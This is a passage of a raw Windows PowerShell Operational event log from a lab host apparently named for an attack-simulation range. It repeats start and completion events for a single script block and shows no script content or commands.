Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467840
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467839
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468098
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468097
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468096
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468095
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468094
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468093
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468092
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468091
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468090
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468089
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468088
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468087
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468086
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468085
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468084
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468083
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468082
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468081
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468080
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468079
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468078
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468077
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468076
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468075
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468074
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468073
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468072
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468071
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468070
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468069
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468068
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468067
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468066
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468065
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468064
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468063
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468062
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468061
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468060
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468059
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468058
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468057
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468056
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468055
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468054
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468053
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468052
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468051
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468050
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468049
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468048
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468047
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468046
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
